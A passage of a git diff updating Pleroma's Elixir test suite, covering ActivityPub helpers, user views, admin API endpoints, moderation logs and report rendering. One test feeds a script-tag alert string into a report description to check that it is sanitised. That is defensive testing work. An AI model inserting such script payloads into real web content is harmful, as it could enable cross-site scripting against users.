+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "type" => "Text",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+
+ assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{
+ "type" => "Text",
+ "url" => ""
+ }
+ end
+
+ test "retunrs not modified object" do
+ assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
+ end
+ end
+
+ describe "get_obj_helper/2" do
+ test "returns nil when cannot normalize object" do
+ refute Transmogrifier.get_obj_helper("test-obj-id")
+ end
+
+ test "returns {:ok, %Object{}} for success case" do
+ assert {:ok, %Object{}} =
+ Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873")
+ end
+ end
+
+ describe "fix_attachments/1" do
+ test "returns not modified object" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_attachments(data) == data
+ end
+
+ test "returns modified object when attachment is map" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => %{
+ "mediaType" => "video/mp4",
+ "url" => "https://peertube.moe/stat-480.mp4"
+ }
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://peertube.moe/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+
+ test "returns modified object when attachment is list" do
+ assert Transmogrifier.fix_attachments(%{
+ "attachment" => [
+ %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"},
+ %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"}
+ ]
+ }) == %{
+ "attachment" => [
+ %{
+ "mediaType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ },
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "mimeType" => "video/mp4",
+ "url" => [
+ %{
+ "href" => "https://pe.er/stat-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ]
+ }
+ end
+ end
+
+ describe "fix_emoji/1" do
+ test "returns not modified object when object not contains tags" do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ assert Transmogrifier.fix_emoji(data) == data
+ end
+
+ test "returns object with emoji when object contains list tags" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => [
+ %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}},
+ %{"type" => "Hashtag"}
+ ]
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => [
+ %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"},
+ %{"type" => "Hashtag"}
+ ]
+ }
+ end
+
+ test "returns object with emoji when object contains map tag" do
+ assert Transmogrifier.fix_emoji(%{
+ "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}
+ }) == %{
+ "emoji" => %{"bib" => "/test"},
+ "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}
+ }
+ end
+ end
end
diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs
index eb429b2c4..b1c1d6f71 100644
--- a/test/web/activity_pub/utils_test.exs
+++ b/test/web/activity_pub/utils_test.exs
@@ -87,6 +87,18 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
assert Utils.determine_explicit_mentions(object) == []
end
+
+ test "works with an object has tags as map" do
+ object = %{
+ "tag" => %{
+ "type" => "Mention",
+ "href" => "https://example.com/~alyssa",
+ "name" => "Alyssa P. Hacker"
+ }
+ }
+
+ assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
+ end
end
describe "make_unlike_data/3" do
@@ -300,8 +312,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} =
Utils.update_follow_state_for_all(follow_activity_two, "accept")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "accept"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept"
+ assert refresh_record(follow_activity).data["state"] == "accept"
+ assert refresh_record(follow_activity_two).data["state"] == "accept"
end
end
@@ -323,8 +335,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")
- assert Repo.get(Activity, follow_activity.id).data["state"] == "pending"
- assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject"
+ assert refresh_record(follow_activity).data["state"] == "pending"
+ assert refresh_record(follow_activity_two).data["state"] == "reject"
end
end
@@ -401,4 +413,216 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
end
end
+
+ describe "get_get_existing_announce/2" do
+ test "returns nil if announce not found" do
+ actor = insert(:user)
+ refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
+ end
+
+ test "fetches existing announce" do
+ note_activity = insert(:note_activity)
+ assert object = Object.normalize(note_activity)
+ actor = insert(:user)
+
+ {:ok, announce, _object} = ActivityPub.announce(actor, object)
+ assert Utils.get_existing_announce(actor.ap_id, object) == announce
+ end
+ end
+
+ describe "fetch_latest_block/2" do
+ test "fetches last block activities" do
+ user1 = insert(:user)
+ user2 = insert(:user)
+
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
+ assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2)
+
+ assert Utils.fetch_latest_block(user1, user2) == activity
+ end
+ end
+
+ describe "recipient_in_message/3" do
+ test "returns true when recipient in `to`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"to" => [recipient.ap_id], "cc" => ""}
+ )
+ end
+
+ test "returns true when recipient in `cc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"cc" => [recipient.ap_id], "to" => ""}
+ )
+ end
+
+ test "returns true when recipient in `bto`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bcc" => "", "bto" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when recipient in `bcc`" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"bto" => "", "bcc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns true when message without addresses fields" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})
+
+ assert Utils.recipient_in_message(
+ recipient,
+ actor,
+ %{"btod" => "", "bccc" => [recipient.ap_id]}
+ )
+ end
+
+ test "returns false" do
+ recipient = insert(:user)
+ actor = insert(:user)
+ refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
+ end
+ end
+
+ describe "lazy_put_activity_defaults/2" do
+ test "returns map with id and published data" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+ res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ end
+
+ test "returns map with fake id and published data" do
+ assert %{
+ "context" => "pleroma:fakecontext",
+ "context_id" => -1,
+ "id" => "pleroma:fakeid",
+ "published" => _
+ } = Utils.lazy_put_activity_defaults(%{}, true)
+ end
+
+ test "returns activity data with object" do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+
+ res =
+ Utils.lazy_put_activity_defaults(%{
+ "context" => object.data["id"],
+ "object" => %{}
+ })
+
+ assert res["context"] == object.data["id"]
+ assert res["context_id"] == object.id
+ assert res["id"]
+ assert res["published"]
+ assert res["object"]["id"]
+ assert res["object"]["published"]
+ assert res["object"]["context"] == object.data["id"]
+ assert res["object"]["context_id"] == object.id
+ end
+ end
+
+ describe "make_flag_data" do
+ test "returns empty map when params is invalid" do
+ assert Utils.make_flag_data(%{}, %{}) == %{}
+ end
+
+ test "returns map with Flag object" do
+ reporter = insert(:user)
+ target_account = insert(:user)
+ {:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
+ context = Utils.generate_context_id()
+ content = "foobar"
+
+ target_ap_id = target_account.ap_id
+ activity_ap_id = activity.data["id"]
+
+ res =
+ Utils.make_flag_data(
+ %{
+ actor: reporter,
+ context: context,
+ account: target_account,
+ statuses: [%{"id" => activity.data["id"]}],
+ content: content
+ },
+ %{}
+ )
+
+ assert %{
+ "type" => "Flag",
+ "content" => ^content,
+ "context" => ^context,
+ "object" => [^target_ap_id, ^activity_ap_id],
+ "state" => "open"
+ } = res
+ end
+ end
+
+ describe "add_announce_to_object/2" do
+ test "adds actor to announcement" do
+ user = insert(:user)
+ object = insert(:note)
+
+ activity =
+ insert(:note_activity,
+ data: %{
+ "actor" => user.ap_id,
+ "cc" => [Pleroma.Constants.as_public()]
+ }
+ )
+
+ assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
+ assert updated_object.data["announcements"] == [user.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
+
+ describe "remove_announce_from_object/2" do
+ test "removes actor from announcements" do
+ user = insert(:user)
+ user2 = insert(:user)
+
+ object =
+ insert(:note,
+ data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
+ )
+
+ activity = insert(:note_activity, data: %{"actor" => user.ap_id})
+
+ assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
+ assert updated_object.data["announcements"] == [user2.ap_id]
+ assert updated_object.data["announcement_count"] == 1
+ end
+ end
end
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index fb7fd9e79..3155749aa 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -37,6 +37,22 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
} = UserView.render("user.json", %{user: user})
end
+ test "Renders with emoji tags" do
+ user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}})
+
+ assert %{
+ "tag" => [
+ %{
+ "icon" => %{"type" => "Image", "url" => "/test"},
+ "id" => "/test",
+ "name" => ":bib:",
+ "type" => "Emoji",
+ "updated" => "1970-01-01T00:00:00Z"
+ }
+ ]
+ } = UserView.render("user.json", %{user: user})
+ end
+
test "Does not add an avatar image if the user hasn't set one" do
user = insert(:user)
{:ok, user} = User.ensure_keys_present(user)
@@ -105,10 +121,20 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
- info = Map.put(user.info, :hide_followers, true)
+ info = Map.merge(user.info, %{hide_followers_count: true, hide_followers: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})
end
+
+ test "sets correct totalItems when followers are hidden but the follower counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
+ info = Map.merge(user.info, %{hide_followers_count: false, hide_followers: true})
+ user = Map.put(user, :info, info)
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
+ end
end
describe "following" do
@@ -117,9 +143,50 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
- info = Map.put(user.info, :hide_follows, true)
+ info = Map.merge(user.info, %{hide_follows_count: true, hide_follows: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
end
+
+ test "sets correct totalItems when follows are hidden but the follow counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
+ info = Map.merge(user.info, %{hide_follows_count: false, hide_follows: true})
+ user = Map.put(user, :info, info)
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
+ end
+ end
+
+ test "activity collection page aginates correctly" do
+ user = insert(:user)
+
+ posts =
+ for i <- 0..25 do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"})
+ activity
+ end
+
+ # outbox sorts chronologically, newest first, with ten per page
+ posts = Enum.reverse(posts)
+
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(posts, 10)
+ })
+
+ next_id = Enum.at(posts, 9).id
+ assert next_url =~ next_id
+
+ %{"next" => next_url} =
+ UserView.render("activity_collection_page.json", %{
+ iri: "#{user.ap_id}/outbox",
+ activities: Enum.take(Enum.drop(posts, 10), 10)
+ })
+
+ next_id = Enum.at(posts, 19).id
+ assert next_url =~ next_id
end
end
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index 3b6d75a4c..b5c355e66 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -1,14 +1,16 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
alias Pleroma.Activity
alias Pleroma.HTML
alias Pleroma.ModerationLog
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
alias Pleroma.Web.CommonAPI
@@ -574,18 +576,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
end
- test "/api/pleroma/admin/users/invite_token" do
- admin = insert(:user, info: %{is_admin: true})
-
- conn =
- build_conn()
- |> assign(:user, admin)
- |> put_req_header("accept", "application/json")
- |> get("/api/pleroma/admin/users/invite_token")
-
- assert conn.status == 200
- end
-
test "/api/pleroma/admin/users/:nickname/password_reset" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
@@ -596,7 +586,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
- assert conn.status == 200
+ resp = json_response(conn, 200)
+
+ assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
end
describe "GET /api/pleroma/admin/users" do
@@ -1064,7 +1056,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"@#{admin.nickname} deactivated user @#{user.nickname}"
end
- describe "GET /api/pleroma/admin/users/invite_token" do
+ describe "POST /api/pleroma/admin/users/invite_token" do
setup do
admin = insert(:user, info: %{is_admin: true})
@@ -1076,10 +1068,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "without options", %{conn: conn} do
- conn = get(conn, "/api/pleroma/admin/users/invite_token")
+ conn = post(conn, "/api/pleroma/admin/users/invite_token")
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
refute invite.max_use
@@ -1088,12 +1080,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
@@ -1102,13 +1094,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "with max_use", %{conn: conn} do
- conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150}
- })
+ conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
assert invite.max_use == 150
@@ -1117,12 +1106,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with max use and expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "max_use" => 150,
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
assert invite.max_use == 150
@@ -1309,6 +1299,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns reports", %{conn: conn} do
@@ -1331,6 +1322,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert report["id"] == report_id
+
+ assert response["total"] == 1
end
test "returns reports with specified state", %{conn: conn} do
@@ -1364,6 +1357,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert open_report["id"] == first_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1376,6 +1371,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert closed_report["id"] == second_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1384,6 +1381,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns 403 when requested by a non-admin" do
@@ -2096,7 +2094,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma_job_queue",
+ "group" => "oban",
"key" => ":queues",
"value" => [
%{"tuple" => [":federator_incoming", 50]},
@@ -2114,7 +2112,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma_job_queue",
+ "group" => "oban",
"key" => ":queues",
"value" => [
%{"tuple" => [":federator_incoming", 50]},
@@ -2259,8 +2257,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
describe "GET /api/pleroma/admin/moderation_log" do
setup %{conn: conn} do
admin = insert(:user, info: %{is_admin: true})
+ moderator = insert(:user, info: %{is_moderator: true})
- %{conn: assign(conn, :user, admin), admin: admin}
+ %{conn: assign(conn, :user, admin), admin: admin, moderator: moderator}
end
test "returns the log", %{conn: conn, admin: admin} do
@@ -2293,9 +2292,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
conn = get(conn, "/api/pleroma/admin/moderation_log")
response = json_response(conn, 200)
- [first_entry, second_entry] = response
+ [first_entry, second_entry] = response["items"]
- assert response |> length() == 2
+ assert response["total"] == 2
assert first_entry["data"]["action"] == "relay_unfollow"
assert first_entry["message"] ==
@@ -2337,9 +2336,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1")
response1 = json_response(conn1, 200)
- [first_entry] = response1
+ [first_entry] = response1["items"]
- assert response1 |> length() == 1
+ assert response1["total"] == 2
+ assert response1["items"] |> length() == 1
assert first_entry["data"]["action"] == "relay_unfollow"
assert first_entry["message"] ==
@@ -2348,14 +2348,143 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2")
response2 = json_response(conn2, 200)
- [second_entry] = response2
+ [second_entry] = response2["items"]
- assert response2 |> length() == 1
+ assert response2["total"] == 2
+ assert response2["items"] |> length() == 1
assert second_entry["data"]["action"] == "relay_follow"
assert second_entry["message"] ==
"@#{admin.nickname} followed relay: https://example.org/relay"
end
+
+ test "filters log by date", %{conn: conn, admin: admin} do
+ first_date = "2017-08-15T15:47:06Z"
+ second_date = "2017-08-20T15:47:06Z"
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.from_iso8601!(first_date)
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.from_iso8601!(second_date)
+ })
+
+ conn1 =
+ get(
+ conn,
+ "/api/pleroma/admin/moderation_log?start_date=#{second_date}"
+ )
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+ assert first_entry["data"]["action"] == "relay_unfollow"
+
+ assert first_entry["message"] ==
+ "@#{admin.nickname} unfollowed relay: https://example.org/relay"
+ end
+
+ test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ }
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => moderator.id,
+ "nickname" => moderator.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ }
+ })
+
+ conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}")
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+ assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id
+ end
+
+ test "returns log filtered by search", %{conn: conn, moderator: moderator} do
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ })
+
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ })
+
+ conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo")
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+
+ assert get_in(first_entry, ["data", "message"]) ==
+ "@#{moderator.nickname} unfollowed relay: https://example.org/relay"
+ end
+ end
+
+ describe "PATCH /users/:nickname/force_password_reset" do
+ setup %{conn: conn} do
+ admin = insert(:user, info: %{is_admin: true})
+ user = insert(:user)
+
+ %{conn: assign(conn, :user, admin), admin: admin, user: user}
+ end
+
+ test "sets password_reset_pending to true", %{admin: admin, user: user} do
+ assert user.info.password_reset_pending == false
+
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset")
+
+ assert json_response(conn, 204) == ""
+
+ ObanHelpers.perform_all()
+
+ assert User.get_by_id(user.id).info.password_reset_pending == true
+ end
end
end
diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs
index 501a8d007..9df4cd539 100644
--- a/test/web/admin_api/search_test.exs
+++ b/test/web/admin_api/search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.SearchTest do
diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs
index a00c9c579..35b6947a0 100644
--- a/test/web/admin_api/views/report_view_test.exs
+++ b/test/web/admin_api/views/report_view_test.exs
@@ -5,6 +5,7 @@
defmodule Pleroma.Web.AdminAPI.ReportViewTest do
use Pleroma.DataCase
import Pleroma.Factory
+ alias Pleroma.Web.AdminAPI.Report
alias Pleroma.Web.AdminAPI.ReportView
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.MastodonAPI.AccountView
@@ -34,7 +35,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
}
result =
- ReportView.render("show.json", %{report: activity})
+ ReportView.render("show.json", Report.extract_report_info(activity))
|> Map.delete(:created_at)
assert result == expected
@@ -60,13 +61,13 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
AccountView.render("account.json", %{user: other_user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})
),
- statuses: [StatusView.render("status.json", %{activity: activity})],
+ statuses: [StatusView.render("show.json", %{activity: activity})],
state: "open",
id: report_activity.id
}
result =
- ReportView.render("show.json", %{report: report_activity})
+ ReportView.render("show.json", Report.extract_report_info(report_activity))
|> Map.delete(:created_at)
assert result == expected
@@ -78,7 +79,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
{:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})
{:ok, activity} = CommonAPI.update_report_state(activity.id, "closed")
- assert %{state: "closed"} = ReportView.render("show.json", %{report: activity})
+
+ assert %{state: "closed"} =
+ ReportView.render("show.json", Report.extract_report_info(activity))
end
test "renders report description" do
@@ -92,7 +95,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
})
assert %{content: "posts are too good for this instance"} =
- ReportView.render("show.json", %{report: activity})
+ ReportView.render("show.json", Report.extract_report_info(activity))
end
test "sanitizes report description" do
@@ -109,7 +112,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
activity = Map.put(activity, :data, data)
refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" ==
- ReportView.render("show.json", %{report: activity})[:content]
+ ReportView.render("show.json", Report.extract_report_info(activity))[:content]
end
test "doesn't error out when the user doesn't exists" do
@@ -125,6 +128,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
Pleroma.User.delete(other_user)
Pleroma.User.invalidate_cache(other_user)
- assert %{} = ReportView.render("show.json", %{report: activity})
+ assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))
end
end
diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs
index 7cb1202fc..011fcfca9 100644
--- a/test/web/common_api/common_api_test.exs
+++ b/test/web/common_api/common_api_test.exs
@@ -524,4 +524,43 @@ defmodule Pleroma.Web.CommonAPITest do
assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1])
end
end
+
+ describe "listen/2" do
+ test "returns a valid activity" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "album" => "lain radio",
+ "artist" => "lain",
+ "length" => 180_000
+ })
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+
+ assert Visibility.get_visibility(activity) == "public"
+ end
+
+ test "respects visibility=private" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "album" => "lain radio",
+ "artist" => "lain",
+ "length" => 180_000,
+ "visibility" => "private"
+ })
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+
+ assert Visibility.get_visibility(activity) == "private"
+ end
+ end
end
diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
index c281dd1f1..2588898d0 100644
--- a/test/web/common_api/common_api_utils_test.exs
+++ b/test/web/common_api/common_api_utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CommonAPI.UtilsTest do
@@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"
expected =
- "<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{
+ ~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{
user.id
